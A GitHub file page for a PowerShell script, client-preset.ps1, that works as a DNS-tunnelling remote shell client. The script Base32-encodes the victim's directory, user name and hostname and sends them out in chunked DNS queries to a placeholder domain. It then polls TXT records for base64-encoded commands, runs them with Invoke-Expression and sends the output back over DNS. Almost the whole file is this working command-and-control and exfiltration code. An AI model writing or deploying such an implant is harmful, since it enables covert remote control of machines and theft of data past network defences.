-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclient-preset.ps1
129 lines (108 loc) · 3.75 KB
/
client-preset.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
$base32Characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
$paddingChar = '='
function ConvertTo-Base32 {
param (
[Parameter(Mandatory = $true, Position = 0)]
[String]$inputString
)
$output = ''
$byteCount = 0
$buffer = 0
foreach ($char in $inputString.ToCharArray()) {
$buffer = ($buffer * 256 + [byte]$char)
$byteCount += 8
while ($byteCount -ge 5) {
$byteCount -= 5
$index = [math]::Floor($buffer / [math]::Pow(2, $byteCount))
$output += $base32Characters[$index]
$buffer = $buffer % [math]::Pow(2, $byteCount)
}
}
if ($byteCount -gt 0) {
$buffer *= [math]::Pow(2, 5 - $byteCount)
$output += $base32Characters[$buffer]
}
# Add padding if needed
$paddingLength = (8 - ($output.Length % 8)) % 8
$output += $paddingChar * $paddingLength
$output
}
function Send-Data {
param (
$data,
$code,
$counter
)
$metadata = @{
pwd = $PWD.Path
user = $Env:UserName
hostname = hostname
}
# Add all of the elements in metadata to data
$data = $data + $metadata
$json = $data | ConvertTo-Json
# Encode data as Base32
$encodedData = ConvertTo-Base32 ($json)
# Replace padding characters with _ so it can be transmitted over DNS
$encodedData = $encodedData.Replace("=", "_")
# 250 (less than 255 to be safe)
$chunk_size = 200 - "$code-$counter.$domain".Length
Write-Host "Chunk Size: " $chunk_size
$chunks = [Math]::Ceiling($encodedData.Length / $chunk_size) # Calculate the number of chunks
for ($i = 0; $i -lt $chunks; $i++) {
Write-Host "Sending Chunk $($i+1) of $chunks"
$chunkdata = $encodedData.Substring($i * $chunk_size, [Math]::Min($chunk_size, $encodedData.Length - $i * $chunk_size))
if ($chunkdata.length -gt 63) {
# Add dot after every 63 chars, because of max chunk size (see $chunk_size above)
for ($a = 63; $a -lt $chunkdata.Length; $a += 64) { $chunkdata = $chunkdata.Insert($a, ".") }
}
$dnsQuery = "$chunkdata.$i.$chunks.$code-$counter.$domain"
Write-Host "Query: $dnsQuery"
# Send DNS query
$dnsResult = Resolve-DnsName -Name $dnsQuery -ErrorAction Ignore -Type A
if ($dnsResult) {
# Never has a response ready, hopefully :-)
}
}
}
$domain = "{domain}"
$code = (Get-Date).ToString("yyyyMMddHHmmss")
# Send code to DNS server
Send-Data -data @{
code = $code
} -code 0 -counter 0
# Request TXT record from DNS server
$commandcount = 0
$stop = $false
while (!$stop) {
Write-Host "Request to: $commandcount.$code.$domain"
$dnsResult = Resolve-DnsName -Name "$commandcount.$code.$domain" -Type TXT -ErrorAction Ignore
if ($dnsResult) {
try{
$command = $dnsResult.Strings
Write-Host "Command: $command"
$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($command))
$output = $command | Invoke-Expression -ErrorAction Stop
$output = ($output | Format-Table | Out-String)
Write-Host "Send Output with length $($output.Length)"
if($output.Length -eq 0){
$output = ""
}
# Send current PWD
Write-Host "Sending Output"
Send-Data -data @{
output = $output
} -code $code -counter $commandcount
}
catch {
Write-Host "Sending Error $_"
Send-Data -data @{
output = "Error: $_"
} -code $code -counter $commandcount
}
$commandcount++
}
else {
}
Start-Sleep -Seconds 1
}